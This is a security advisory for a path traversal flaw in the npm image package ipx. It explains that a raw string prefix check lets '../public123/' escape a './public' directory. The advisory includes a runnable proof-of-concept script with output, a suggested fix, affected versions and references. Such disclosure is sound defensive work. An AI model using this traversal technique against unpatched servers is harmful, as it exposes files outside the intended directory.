IPX Allows Path Traversal via Prefix Matching Bypass
Summary
The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.
PoC
- setup
mkdir ~/public123
move a png file under ~/public123 with name test.png
cd
npm i ipx
main.js
import { createIPX, ipxFSStorage } from "ipx";
const ipx = createIPX({
storage: ipxFSStorage({ dir: "./public" }),
});
(async () => {
{
const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder
const { data, format } = await source.process();
console.log(format) // print image data
}
{
try {
const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same
const { data, format } = await source.process();
console.log(data)
} catch (err) {
console.log(err.message) // Forbidden path:
}
}
})()
node main.js
png
Forbidden path: /../publi123/test.png
Impact
Path Traversal
Possible Fix
Check if the dir ends with / (path separator) and if not, add before calling startsWith
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | ipx | < 1.3.2, >= 2.0.0-0, < 2.1.1, >= 3.0.0, < 3.1.1 | 1.3.2, 2.1.1, 3.1.1 |
References
- https://github.com/unjs/ipx/security/advisories/GHSA-mm3p-j368-7jcr
- https://nvd.nist.gov/vuln/detail/CVE-2025-54387
- https://github.com/unjs/ipx/commit/81693ddbfc062cc922e4e2406e8427ab4e3ad214
- https://github.com/unjs/ipx
- https://github.com/unjs/ipx/releases/tag/v1.3.2
- https://github.com/unjs/ipx/releases/tag/v2.1.1
- https://github.com/unjs/ipx/releases/tag/v3.1.1
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N- Weakness (CWE)
CWE-22- Platform
- npm
- Package
ipx- Disclosed
- 04.08.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-mm3p-j368-7jcr - CC BY 4.0
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